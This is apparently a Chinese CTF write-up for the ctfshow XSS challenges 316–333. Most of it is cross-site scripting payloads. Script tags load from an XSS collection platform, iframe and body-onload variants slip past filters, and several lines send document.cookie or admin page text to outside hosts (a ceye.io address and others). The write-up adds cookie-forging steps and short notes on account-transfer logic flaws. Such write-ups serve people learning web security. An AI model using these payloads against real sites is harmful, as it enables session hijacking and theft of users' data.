ctfshow-xss
316
先创建一个项目之后其他都是勾选默认选项,之后在罗列出来的众多payload里面选择一个合适的进行使用。
使用
<sCRiPt sRC=//0x.ax/kqMm></sCrIpT>
输入paylaod之后在这个平台进行接收,但是由于平台不稳定外加这个题目的背后有一个机器人每隔60s点击一下链接,所以一次输入不一定能成功,要多试几次。flag就在充当管理员的机器人的cookie里面,这里的xss平台起到一个恶意服务器的作用。用于接收被攻击者的敏感信息。
317
过滤了script
既然过滤了script,那么选择一个不含有script的payload就好了,下面等同。
<iframe WIDTH=0 HEIGHT=0 srcdoc=。。。。。。。。。。<sCRiPt sRC="https://0x.ax/kqMm"></sCrIpT>>
318
过滤了img
<iframe WIDTH=0 HEIGHT=0 srcdoc=。。。。。。。。。。<sCRiPt sRC="https://0x.ax/kqMm"></sCrIpT>>
319
<iframe WIDTH=0 HEIGHT=0 srcdoc=。。。。。。。。。。<sCRiPt sRC="https://0x.ax/kqMm"></sCrIpT>>
320
过滤了空格
可以使用/**/或者/进行绕过
这里使用xss平台XSS Platform无法正常回显,所以更换平台
在这个平台注册完帐号之后,会给我们一个地址,接下来在自己payload里面加上分配到地址就好了。

<body onload="window.open('http://你的ceye地址/'+document.cookie)">
321
<body/**/onload="window.open('http://ipm4ju.ceye.io/'+document.cookie)">
322
<body/**/onload="window.open('http://ipm4ju.ceye.io/'+document.cookie)">
323
<body/**/onload="window.open('http://ipm4ju.ceye.io/'+document.cookie)">
324
<body/**/onload="window.open('http://ipm4ju.ceye.io/'+document.cookie)">
325
<body/**/onload="window.open('http://ipm4ju.ceye.io/'+document.cookie)">
326
<body/**/onload="window.open('http://ipm4ju.ceye.io/'+document.cookie)">
327
<body/**/onload="window.open('http://ipm4ju.ceye.io/'+document.cookie)">
328
<script>window.open('http://ipm4ju.ceye.io/'+document.cookie)</script>
在xss平台拿到的是管理员的cookie,之后伪造cookie即可拿到flag
伪造cookie,在控制台里面打开存储,之后修改cookie的值即可(将xss平台获得到的内容填入即可)
329
这道题就不一样了,群主设置了cookie失效,发给你的cookie没用了
那其实就更直接一点,不用cookie伪造管理员登录,直接拿管理员的html页面内容
Y4师傅的payload:
var img = new Image(); img.src = “http://y4tacker.top/index.php?q=”+document.querySelector(’#top > div.layui-container > div:nth-child(4) > div > div.layui-table-box > div.layui-table-body.layui-table-main’).textContent; document.body.append(img);
参照着网页元素解释一下:
#top > div.layui-container > div:nth-child(4) > div > div.layui-table-box > div.layui-table-body.layui-table-main:
#top利用id定位到body标签
大于是级与级之间的连接符
div.layui-container是元素类型+class的定位方式
nth-child是子元素选择器,根据括号里面的数字选择对应顺序的子元素,注意编号是包括下两级甚至更多的子元素的,但是每一次只能用下一级的子元素
到最后一级,下面的就是直接文本元素了,这时候可以用.textContent来获取其直接子元素的文本内容
这样,我们就可以在管理员访问该界面的时候,直接拿到管理员看到的文本内容~
还有群主的payload也可以用,思路是一样的,只是群主用的是遍历~
强于web328原因:cookie在被拦截到的时候已经是失效的了,所以盗用cookie将是不可行的方法
payload
<script>window.open('http://ssjsj.ak6666.top:20003/'+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML)</script>
通过document.getElementsByClassName(‘layui-table-cell laytable-cell-1-0-1’)[1].innerHTML获取到指定的内容,
getElementsByClassName:获取所有指定类名的元素
还有innerHTML和outerHTML的区别
1)innerHTML:
从对象的起始位置到终止位置的全部内容,不包括Html标签。
2)outerHTML:
除了包含innerHTML的全部内容外, 还包含对象标签本身。
330
331
332
存在逻辑漏洞
先用下列代码创建一个账户,之后再创建一个正常账户,之后用第一个账户给第二个账户转账-999999
<script>alert(1)</script>
333
存在逻辑漏洞
先用下列代码创建一个账户,之后再创建一个正常账户,之后用第一个账户自己给自己转账,每次转帐不能超过余额,用bp跑
<script>alert(1)</script>330和331目前还不能理解,等技术提升之后再进行补全。

浙公网安备 33010602011771号